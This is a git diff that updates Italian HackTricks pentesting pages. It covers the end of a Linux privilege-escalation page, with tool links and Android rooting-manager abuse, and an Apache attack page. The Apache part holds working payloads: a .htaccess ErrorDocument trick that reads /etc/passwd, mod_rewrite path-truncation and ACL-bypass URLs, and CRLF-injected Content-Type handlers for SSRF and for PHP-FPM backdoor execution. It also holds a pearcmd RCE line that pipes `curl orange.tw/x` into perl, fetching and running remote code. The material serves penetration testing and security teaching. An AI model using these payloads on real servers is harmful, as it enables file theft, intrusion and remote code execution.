rooting frameworks: manager-channel abuse + +I framework di rooting Android comunemente hook una syscall per esporre funzionalità privilegiate del kernel a un manager in userspace. Un'autenticazione debole del manager (es. controlli di firma basati sull'ordine degli FD o schemi di password scadenti) può consentire a un'app locale di impersonare il manager e ottenere escalation a root su dispositivi già rootati. Scopri di più e i dettagli di exploitation qui: + + +{{#ref}} +android-rooting-frameworks-manager-auth-bypass-syscall-hook.md +{{#endref}} + ## Protezioni di Sicurezza del Kernel - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## Maggiori aiuti +## Più aiuto [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Strumenti Privesc Linux/Unix +## Linux/Unix Privesc Tools -### **Miglior strumento per cercare vettori di escalation dei privilegi locali Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Miglior tool per cercare vettori di local privilege escalation su Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumera le vulnerabilità del kernel in linux e MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Enumera vulnerabilità del kernel in Linux e macOS [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (accesso fisico):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Raccolta di più script**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) ## Riferimenti @@ -1441,13 +1461,4 @@ cisco-vmanage.md - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) -## Framework di rooting Android: abuso del canale manager - -I framework di rooting Android comunemente agganciano una syscall per esporre funzionalità privilegiate del kernel a un gestore nello spazio utente. Un'autenticazione debole del gestore (ad es., controlli di firma basati sull'ordine FD o schemi di password scadenti) può consentire a un'app locale di impersonare il gestore e ottenere i privilegi di root su dispositivi già rootati. Scopri di più e dettagli di sfruttamento qui: - - -{{#ref}} -android-rooting-frameworks-manager-auth-bypass-syscall-hook.md -{{#endref}} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/apache.md b/src/network-services-pentesting/pentesting-web/apache.md index 002a96bdb..8e781e8b9 100644 --- a/src/network-services-pentesting/pentesting-web/apache.md +++ b/src/network-services-pentesting/pentesting-web/apache.md @@ -4,11 +4,11 @@ ## Estensioni PHP eseguibili -Controlla quali estensioni sta eseguendo il server Apache. Per cercarle puoi eseguire: +Verifica quali estensioni sta eseguendo il server Apache. Per cercarle puoi eseguire: ```bash grep -R -B1 "httpd-php" /etc/apache2 ``` -Inoltre, alcuni luoghi in cui puoi trovare questa configurazione sono: +Inoltre, alcuni posti in cui è possibile trovare questa configurazione sono: ```bash /etc/apache2/mods-available/php5.conf /etc/apache2/mods-enabled/php5.conf @@ -21,19 +21,47 @@ curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Con uid=1(daemon) gid=1(daemon) groups=1(daemon) Linux ``` +## LFI via .htaccess ErrorDocument file provider (ap_expr) + +Se puoi controllare il .htaccess di una directory e AllowOverride include FileInfo per quel percorso, puoi trasformare le risposte 404 in letture arbitrarie di file locali usando la funzione ap_expr file() all'interno di ErrorDocument. + +- Requisiti: +- Apache 2.4 con parser di espressioni (ap_expr) abilitato (default in 2.4). +- The vhost/dir must allow .htaccess to set ErrorDocument (AllowOverride FileInfo). +- L'utente worker di Apache deve avere permessi di lettura sul file di destinazione. + +.htaccess payload: +```apache +# Optional marker header just to identify your tenant/request path +Header always set X-Debug-Tenant "demo" +# On any 404 under this directory, return the contents of an absolute filesystem path +ErrorDocument 404 %{file:/etc/passwd} +``` +Si verifica richiedendo qualsiasi percorso non esistente sotto quella directory, per esempio quando si abusa di userdir-style hosting: +```bash +curl -s http://target/~user/does-not-exist | sed -n '1,20p' +``` +Notes and tips: +- Funzionano solo i percorsi assoluti. Il contenuto viene restituito come response body per il 404 handler. +- I permessi di lettura effettivi sono quelli dell'utente Apache (tipicamente www-data/apache). Non potrai leggere /root/* o /etc/shadow nelle configurazioni di default. +- Anche se .htaccess è root-owned, se la directory padre è tenant-owned e permette il rename, potresti essere in grado di rinominare il .htaccess originale e caricare il tuo sostituto via SFTP/FTP: +- rename .htaccess .htaccess.bk +- put your malicious .htaccess +- Usa questo per leggere il source dell'applicazione sotto DocumentRoot o i percorsi di configurazione vhost per raccogliere segreti (DB creds, API keys, ecc.). + ## Confusion Attack -Questi tipi di attacchi sono stati introdotti e documentati [**da Orange in questo post del blog**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) e quanto segue è un riassunto. L'attacco "confusion" sfrutta fondamentalmente come i decine di moduli che lavorano insieme per creare un Apache non funzionano perfettamente sincronizzati e far modificare a alcuni di essi dei dati inaspettati può causare una vulnerabilità in un modulo successivo. +These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. L'attacco "confusion" sostanzialmente abusa del fatto che le decine di module che lavorano insieme per creare un Apache non sono perfettamente sincronizzate: la modifica di dati inaspettati da parte di alcuni di essi può causare una vulnerabilità in un modulo successivo. ### Filename Confusion #### Truncation -Il **`mod_rewrite`** trimmerà il contenuto di `r->filename` dopo il carattere `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). Questo non è totalmente sbagliato poiché la maggior parte dei moduli tratterà `r->filename` come un URL. Ma in altre occasioni questo sarà trattato come un percorso di file, il che causerebbe un problema. +Il **`mod_rewrite`** tronca il contenuto di `r->filename` dopo il carattere `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). Questo non è del tutto sbagliato, dato che la maggior parte dei moduli tratterà `r->filename` come un URL. Ma in altre occasioni sarà trattato come un percorso di file, il che può causare un problema. - **Path Truncation** -È possibile abusare di `mod_rewrite` come nell'esempio di regola seguente per accedere ad altri file all'interno del file system, rimuovendo l'ultima parte del percorso previsto aggiungendo semplicemente un `?`: +È possibile abusare di `mod_rewrite` come nel seguente esempio di regola per accedere ad altri file all'interno del file system, rimuovendo l'ultima parte del percorso previsto aggiungendo semplicemente un `?`: ```bash RewriteEngine On RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml" @@ -46,9 +74,9 @@ curl http://server/user/orange curl http://server/user/orange%2Fsecret.yml%3F # the output of file `/var/user/orange/secret.yml` ``` -- **Assegnazione di RewriteFlag Fuorviante** +- **Mislead RewriteFlag Assignment** -Nella seguente regola di riscrittura, finché l'URL termina con .php verrà trattato ed eseguito come php. Pertanto, è possibile inviare un URL che termina con .php dopo il carattere `?` mentre si carica nel percorso un tipo di file diverso (come un'immagine) con codice php malevolo al suo interno: +Nella seguente rewrite rule, fintanto che l'URL termina con .php verrà trattato ed eseguito come php. Pertanto, è possibile inviare un URL che termina con .php dopo il carattere `?` caricando nel path un tipo di file diverso (come un'immagine) con codice php malevolo al suo interno: ```bash RewriteEngine On RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php] @@ -63,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php ``` #### **ACL Bypass** -È possibile accedere a file a cui l'utente non dovrebbe poter accedere, anche se l'accesso dovrebbe essere negato con configurazioni come: +È possibile accedere a file che l'utente non dovrebbe poter visualizzare anche se l'accesso dovrebbe essere negato da configurazioni come: ```xml AuthType Basic @@ -72,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd" Require valid-user ``` -Questo è perché per impostazione predefinita PHP-FPM riceverà URL che terminano con `.php`, come `http://server/admin.php%3Fooo.php` e poiché PHP-FPM rimuoverà tutto ciò che segue il carattere `?`, l'URL precedente permetterà di caricare `/admin.php` anche se la regola precedente lo proibiva. +Ciò accade perché, per impostazione predefinita, PHP-FPM riceverà URL che terminano con `.php`, come `http://server/admin.php%3Fooo.php` e poiché PHP-FPM rimuoverà qualsiasi cosa dopo il carattere `?`, l'URL precedente permetterà di caricare /admin.php anche se la regola precedente lo proibiva. -### DocumentRoot Confusion +### Confusione con DocumentRoot ```bash DocumentRoot /var/www/html RewriteRule ^/html/(.*)$ /$1.html ``` -Un fatto divertente su Apache è che la riscrittura precedente cercherà di accedere al file sia dalla documentRoot che dalla root. Quindi, una richiesta a `https://server/abouth.html` controllerà il file in `/var/www/html/about.html` e `/about.html` nel file system. Questo può essere sostanzialmente abusato per accedere ai file nel file system. +Un fatto curioso su Apache è che la rewrite precedente proverà ad accedere al file sia dal documentRoot che dalla root. Quindi, una richiesta a `https://server/abouth.html` verificherà la presenza del file in `/var/www/html/about.html` e in `/about.html` nel file system. Il che sostanzialmente può essere abusato per accedere a file nel file system. -#### **Divulgazione del Codice Sorgente Lato Server** +#### **Divulgazione del codice sorgente lato server** -- **Divulgare il Codice Sorgente CGI** +- **Rivelare il codice sorgente CGI** -Basta aggiungere un %3F alla fine per rivelare il codice sorgente di un modulo cgi: +Basta aggiungere %3F alla fine perché avvenga il leak del codice sorgente di un modulo cgi: ```bash curl http://server/cgi-bin/download.cgi # the processed result from download.cgi @@ -95,24 +123,24 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F # ... # # the source code of download.cgi ``` -- **Divulgare il codice sorgente PHP** +- **Divulgare PHP Source Code** -Se un server ha domini diversi, uno dei quali è un dominio statico, questo può essere sfruttato per attraversare il file system e divulgare codice php: +Se un server ospita domini diversi e uno di essi è un dominio statico, questo può essere abusato per attraversare il file system e leak php code: ```bash # Leak the config.php file of the www.local domain from the static.local domain curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" # the source code of config.php ``` -#### **Manipolazione dei Gadget Locali** +#### **Local Gadgets Manipulation** -Il problema principale con l'attacco precedente è che per impostazione predefinita la maggior parte degli accessi al filesystem sarà negata come nel [modello di configurazione](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) di Apache HTTP Server: +Il problema principale con l'attacco precedente è che, per impostazione predefinita, la maggior parte degli accessi al filesystem viene negata come in Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115): ```xml AllowOverride None Require all denied ``` -Tuttavia, i sistemi operativi [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) consentono per impostazione predefinita `/usr/share`: +Tuttavia, i sistemi operativi [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) per impostazione predefinita consentono `/usr/share`: ```xml AllowOverride None @@ -121,36 +149,36 @@ Require all granted ``` Pertanto, sarebbe possibile **abusare dei file situati all'interno di `/usr/share` in queste distribuzioni.** -**Gadget Locale per la Divulgazione di Informazioni** +**Local Gadget to Information Disclosure** -- **Apache HTTP Server** con **websocketd** potrebbe esporre lo script **dump-env.php** a **/usr/share/doc/websocketd/examples/php/**, che può rivelare variabili ambientali sensibili. -- I server con **Nginx** o **Jetty** potrebbero esporre informazioni sensibili delle applicazioni web (ad es., **web.xml**) attraverso le loro radici web predefinite collocate sotto **/usr/share**: +- **Apache HTTP Server** con **websocketd** può esporre lo script **dump-env.php** in **/usr/share/doc/websocketd/examples/php/**, che può causare il leak di variabili d'ambiente sensibili. +- Server con **Nginx** o **Jetty** potrebbero esporre informazioni sensibili dell'applicazione web (es., **web.xml**) tramite le loro web root di default collocate sotto **/usr/share**: - **/usr/share/nginx/html/** - **/usr/share/jetty9/etc/** - **/usr/share/jetty9/webapps/** -**Gadget Locale per XSS** +**Local Gadget to XSS** -- Su Ubuntu Desktop con **LibreOffice installato**, sfruttare la funzione di cambio lingua dei file di aiuto può portare a **Cross-Site Scripting (XSS)**. Manipolare l'URL a **/usr/share/libreoffice/help/help.html** può reindirizzare a pagine dannose o versioni precedenti tramite **unsafe RewriteRule**. +- Su Ubuntu Desktop con **LibreOffice installato**, sfruttare la funzionalità di cambio lingua nei file di help può portare a **Cross-Site Scripting (XSS)**. Manipolando l'URL in **/usr/share/libreoffice/help/help.html** è possibile reindirizzare verso pagine malevole o verso versioni precedenti tramite una **unsafe RewriteRule**. -**Gadget Locale per LFI** +**Local Gadget to LFI** -- Se PHP o alcuni pacchetti front-end come **JpGraph** o **jQuery-jFeed** sono installati, i loro file possono essere sfruttati per leggere file sensibili come **/etc/passwd**: +- Se PHP o determinati pacchetti front-end come **JpGraph** o **jQuery-jFeed** sono installati, i loro file possono essere sfruttati per leggere file sensibili come **/etc/passwd**: - **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php** - **/usr/share/javascript/jquery-jfeed/proxy.php** - **/usr/share/moodle/mod/assignment/type/wims/getcsv.php** -**Gadget Locale per SSRF** +**Local Gadget to SSRF** -- Utilizzando **MagpieRSS's magpie_debug.php** a **/usr/share/php/magpierss/scripts/magpie_debug.php**, è possibile creare facilmente una vulnerabilità SSRF, fornendo un gateway per ulteriori exploit. +- Utilizzando **MagpieRSS's magpie_debug.php** in **/usr/share/php/magpierss/scripts/magpie_debug.php**, può essere creata facilmente una vulnerabilità SSRF, fornendo una via per exploit ulteriori. -**Gadget Locale per RCE** +**Local Gadget to RCE** -- Le opportunità per **Remote Code Execution (RCE)** sono vaste, con installazioni vulnerabili come un **PHPUnit** obsoleto o **phpLiteAdmin**. Questi possono essere sfruttati per eseguire codice arbitrario, mostrando l'ampio potenziale della manipolazione dei gadget locali. +- Le opportunità per **Remote Code Execution (RCE)** sono vaste, con installazioni vulnerabili come una vecchia versione di **PHPUnit** o **phpLiteAdmin**. Queste possono essere sfruttate per eseguire codice arbitrario, dimostrando l'ampio potenziale nella manipolazione dei local gadgets. -#### **Jailbreak dai Gadget Locali** +#### **Jailbreak from Local Gadgets** -È anche possibile effettuare un jailbreak dalle cartelle consentite seguendo i symlink generati dal software installato in quelle cartelle, come: +È inoltre possibile effettuare il jailbreak dalle cartelle consentite seguendo i symlink generati dal software installato in quelle cartelle, come: - **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/` - **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data` @@ -158,55 +186,55 @@ Pertanto, sarebbe possibile **abusare dei file situati all'interno di `/usr/shar - **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/` - **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/` -Inoltre, abusando dei symlink è stato possibile ottenere **RCE in Redmine.** +Inoltre, sfruttando i symlink è stato possibile ottenere **RCE in Redmine.** -### Confusione del Gestore +### Handler Confusion -Questo attacco sfrutta la sovrapposizione di funzionalità tra le direttive `AddHandler` e `AddType`, che possono entrambe essere utilizzate per **abilitare l'elaborazione PHP**. Originariamente, queste direttive influenzavano campi diversi (`r->handler` e `r->content_type` rispettivamente) nella struttura interna del server. Tuttavia, a causa di codice legacy, Apache gestisce queste direttive in modo intercambiabile in determinate condizioni, convertendo `r->content_type` in `r->handler` se il primo è impostato e il secondo non lo è. +Questo attacco sfrutta la sovrapposizione di funzionalità tra le direttive `AddHandler` e `AddType`, entrambe possono essere utilizzate per **abilitare il processamento PHP**. Originariamente, queste direttive agivano su campi diversi (`r->handler` e `r->content_type` rispettivamente) nella struttura interna del server. Tuttavia, a causa di codice legacy, Apache tratta queste direttive in modo intercambiabile in certe condizioni, convertendo `r->content_type` in `r->handler` se il primo è impostato e il secondo no. -Inoltre, nel server Apache HTTP (`server/config.c#L420`), se `r->handler` è vuoto prima di eseguire `ap_run_handler()`, il server **usa `r->content_type` come gestore**, rendendo di fatto `AddType` e `AddHandler` identici negli effetti. +Inoltre, nell'Apache HTTP Server (`server/config.c#L420`), se `r->handler` è vuoto prima dell'esecuzione di `ap_run_handler()`, il server **usa `r->content_type` come handler**, rendendo di fatto `AddType` e `AddHandler` identici nel loro effetto. -#### **Sovrascrivere il Gestore per Divulgare il Codice Sorgente PHP** +#### **Overwrite Handler to Disclose PHP Source Code** -In [**questo intervento**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), è stata presentata una vulnerabilità in cui un errato `Content-Length` inviato da un client può causare ad Apache di restituire erroneamente **il codice sorgente PHP**. Questo è avvenuto a causa di un problema di gestione degli errori con ModSecurity e l'Apache Portable Runtime (APR), dove una doppia risposta porta a sovrascrivere `r->content_type` in `text/html`.\ -Poiché ModSecurity non gestisce correttamente i valori di ritorno, restituirebbe il codice PHP e non lo interpreterebbe. +In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), è stata presentata una vulnerabilità in cui un `Content-Length` errato inviato da un client può causare che Apache erroneamente **restituisca il codice sorgente PHP**. Ciò era dovuto a un problema di gestione degli errori con ModSecurity e l'Apache Portable Runtime (APR), dove una doppia risposta porta a sovrascrivere `r->content_type` a `text/html`.\ +Poiché ModSecurity non gestisce correttamente i valori di ritorno, restituirebbe il codice PHP senza interpretarlo. -#### **Sovrascrivere il Gestore per XXXX** +#### **Overwrite Handler to XXXX** TODO: Orange non ha ancora divulgato questa vulnerabilità -### **Invocare Gestori Arbitrari** +### **Invoke Arbitrary Handlers** -Se un attaccante è in grado di controllare l'intestazione **`Content-Type`** in una risposta del server, sarà in grado di **invocare gestori di moduli arbitrari**. Tuttavia, nel momento in cui l'attaccante controlla questo, la maggior parte del processo della richiesta sarà già stata eseguita. Tuttavia, è possibile **riavviare il processo di richiesta abusando dell'intestazione `Location`** perché se lo **status** restituito è 200 e l'intestazione `Location` inizia con un `/`, la risposta viene trattata come una Redirezione Lato Server e dovrebbe essere elaborata. +Se un attacker è in grado di controllare l'intestazione **`Content-Type`** in una risposta del server sarà in grado di **invocare arbitrary module handlers**. Tuttavia, al punto in cui l'attacker controlla questo, la maggior parte del processo della request sarà già stata eseguita. È comunque possibile **riavviare il processo della request abusando dell'intestazione `Location`** perché se lo `Status` restituito è 200 e l'intestazione `Location` inizia con `/`, la risposta è trattata come una Server-Side Redirection e dovrebbe essere processata -Secondo [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specifica sui CGI) nella [Sezione 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) definisce un comportamento di Risposta di Redirect Locale: +Secondo [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specifica su CGI) nella [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) viene definito il comportamento di Local Redirect Response: -> Lo script CGI può restituire un percorso URI e una query-string (‘local-pathquery’) per una risorsa locale in un campo intestazione Location. Questo indica al server che dovrebbe rielaborare la richiesta utilizzando il percorso specificato. +> The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified. -Pertanto, per eseguire questo attacco è necessaria una delle seguenti vulnerabilità: +Pertanto, per eseguire questo attacco è necessario uno dei seguenti vulns: -- Iniezione CRLF nelle intestazioni di risposta CGI -- SSRF con completo controllo delle intestazioni di risposta +- CRLF Injection nella response headers del CGI +- SSRF con controllo completo delle response headers -#### **Gestore Arbitrario per la Divulgazione di Informazioni** +#### **Arbitrary Handler to Information Disclosure** -Ad esempio, `/server-status` dovrebbe essere accessibile solo localmente: +Per esempio, `/server-status` dovrebbe essere accessibile solo localmente: ```xml SetHandler server-status Require local ``` -È possibile accedervi impostando il `Content-Type` su `server-status` e l'intestazione Location che inizia con `/` +È possibile accedervi impostando il `Content-Type` su `server-status` e il Location header che inizi con `/`. ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo %0d%0a Content-Type:server-status %0d%0a %0d%0a ``` -#### **Gestore Arbitrario per Full SSRF** +#### **Da Handler arbitrario a Full SSRF** -Reindirizzamento a `mod_proxy` per accedere a qualsiasi protocollo su qualsiasi URL: +Reindirizzando verso `mod_proxy` per accedere a qualsiasi protocollo su qualsiasi URL: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo %0d%0a @@ -215,20 +243,20 @@ http://example.com/%3F %0d%0a %0d%0a ``` -Tuttavia, l'intestazione `X-Forwarded-For` viene aggiunta per prevenire l'accesso agli endpoint dei metadati del cloud. +Tuttavia, viene aggiunta l'intestazione `X-Forwarded-For`, che impedisce l'accesso agli endpoint dei metadata cloud. -#### **Gestore Arbitrario per Accedere al Socket di Dominio Unix Locale** +#### **Handler arbitrario per accedere al Unix Domain Socket locale** -Accedi al Socket di Dominio Unix locale di PHP-FPM per eseguire un backdoor PHP situato in `/tmp/`: +Accedi al Unix Domain Socket locale di PHP-FPM per eseguire una backdoor PHP situata in `/tmp/`: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo %0d%0a Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a %0d%0a ``` -#### **Gestore Arbitrario per RCE** +#### **Arbitrary Handler to RCE** -L'immagine ufficiale [PHP Docker](https://hub.docker.com/_/php) include PEAR (`Pearcmd.php`), uno strumento di gestione dei pacchetti PHP da riga di comando, che può essere sfruttato per ottenere RCE: +L'immagine ufficiale [PHP Docker](https://hub.docker.com/_/php) include PEAR (`Pearcmd.php`), uno strumento da riga di comando per la gestione di pacchetti PHP, che può essere abusato per ottenere RCE: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS} @@ -237,10 +265,13 @@ orange.tw/x|perl Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a %0d%0a ``` -Controlla [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), scritto da [Phith0n](https://x.com/phithon_xg) per i dettagli di questa tecnica. +Consulta [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), scritto da [Phith0n](https://x.com/phithon_xg) per i dettagli di questa tecnica. ## Riferimenti - [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) +- [Apache 2.4 Custom Error Responses (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html) +- [Apache 2.4 Expressions and functions (file:)](https://httpd.apache.org/docs/2.4/expr.html) +- [HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse](https://0xdf.gitlab.io/2025/08/12/htb-zero.html) {{#include ../../banners/hacktricks-training.md}}